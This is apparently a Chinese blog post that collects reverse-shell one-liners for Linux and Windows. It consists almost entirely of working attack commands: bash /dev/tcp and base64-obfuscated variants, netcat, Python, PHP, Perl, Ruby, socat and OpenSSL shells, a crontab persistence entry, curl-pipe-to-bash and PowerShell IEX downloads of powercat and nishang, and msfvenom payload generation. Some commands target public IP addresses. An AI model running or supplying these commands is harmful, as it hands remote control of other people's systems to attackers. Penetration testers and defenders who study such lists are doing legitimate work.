反弹Shell-Linux
监听方式
nc -lnvp 7777
【监听端】centos: 192.168.35.152
【被控端】kali: 192.168.35.128
# 监听端执行[root@localhost ~]# nc -vvl 7777 #Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::7777
Ncat: Listening on 0.0.0.0:7777
bash
┌──(root@kali)-[/home/kali]
└─# bash -i >& /dev/tcp/43.153.175.240/8877 0>&1
bash base64
# bash -i >& /dev/tcp/43.153.175.240/8877 0>&1
bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80My4xNTMuMTc1LjI0MC84ODc3IDA+JjE=}|{base64,-d}|{bash,-i}'
bash base64 URLencode
# /bin/bash -i >& /dev/tcp/192.168.35.152/7777 0>&1
bash -c '{echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMzUuMTUyLzc3NzcgMD4mMSAgIA%3D%3D}|{base64,-d}|{bash,-i}'
nc
nc -e /bin/bash 192.168.35.152 7777
mknod backpipe p && nc 192.168.35.152 7777 0<backpipe | /bin/bash 1>backpipe
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.106 7777 >/tmp/f
ncat
ncat 192.168.2.106 7777 -e /bin/bash
ncat --udp 192.168.35.152 7777 -e /bin/bash
netcat
netcat 192.168.2.106 7777 -e /bin/bash
curl
网页内容:
cat bash.html
/bin/bash -i >& /dev/tcp/43.153.175.240/8877 0>&1
访问并执行网页内容:
curl 43.153.175.240/bash8877.html|bash
wget 43.153.175.240/bash8877.html
http
攻击方:
# 编写shell脚本并启动http服务器echo "bash -i >& /dev/tcp/192.168.35.152/7777 0>&1" > shell.sh
python2环境下:python -m SimpleHTTPServer 80
python3环境下:python -m http.server 80
被控端:
# 上传shell.sh文件wget 192.168.35.152/shell.sh# 执行shell.sh文件bash shell.sh
crontab
*/1 * * * * root /bin/bash -i >& /dev/tcp/192.168.35.152/7777 0>&1
whois
# 只能执行指定命令,如pwd命令whois -h 192.168.35.152 -p 7777 `pwd`
python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.35.152",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
python3
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("106.15.181.34",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
php
php -r '$sock=fsockopen("192.168.35.152",7777);exec("/bin/sh -i <&3 >&3 2>&3");'
ruby
ruby -rsocket -e'f=TCPSocket.open("192.168.35.152",7777).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' # 执行失败ruby -rsocket -e 'exit if fork;c=TCPSocket.new("192.168.35.152","7777");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
socat
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.35.152:7777
perl
perl -e 'use Socket;$i="106.15.181.34";$p=7777;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
openssl
# 监听端openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
openssl s_server -quiet -key key.pem -cert cert.pem -port 7777# orncat --ssl -vv -l -p 7777# 受控端mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.35.152:7777 > /tmp/s; rm /tmp/s
反弹Shell-Windows
- Windows下的反弹shell仅测试了nc,执行成功。
【监听端】centos: 192.168.35.152
【被控端】windows: 192.168.35.1
# 监听端执行[root@localhost ~]# nc -vvl 7777 Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::7777
Ncat: Listening on 0.0.0.0:7777
powercat
项目地址:https://github.com/besimorhino/powercat
System.Net.Webclient.DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 192.168.35.152 -p 7777 -e cmd
nc
nc 192.168.35.152 7777 -e c:\windows\system32\cmd.exe
nishang
Nishang是一个基于PowerShell的攻击框架,整合了一些PowerShell攻击脚本和有效载荷,可反弹TCP/ UDP/ HTTP/HTTPS/ ICMP等类型shell。
项目地址:https://github.com/samratashok/nishang
# 将nishang下载到攻击者本地,在目标机使用powershell执行以下命令IEX (New-Object Net.WebClient).DownloadString('http://192.168.159.134/nishang/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.35.152 -port 7777
Reverse UDP shell
IEX (New-Object Net.WebClient).DownloadString('http://192.168.35.152/nishang/Shells/Invoke-PowerShellUdp.ps1');Invoke-PowerShellUdp -Reverse -IPAddress 192.168.35.152 -port 7777
MSF
# 找出各类反弹一句话payload的路径信息msfvenom -l payloads | grep 'cmd/windows/reverse'# 生成反弹shell,复制粘贴到靶机上运行msfvenom -p cmd/windows/reverse_powershell LHOST=192.168.35.152 LPORT=7777
升级交互shell-Linux
python
python -c "import pty;pty.spawn('/bin/bash')"
python3
python3 -c "import pty;pty.spawn('/bin/bash')"
标签:姿势,bin,Shell,192.168,7777,sh,Linux,35.152,bash From: https://www.cnblogs.com/DumpInfou/p/17881759.html参考: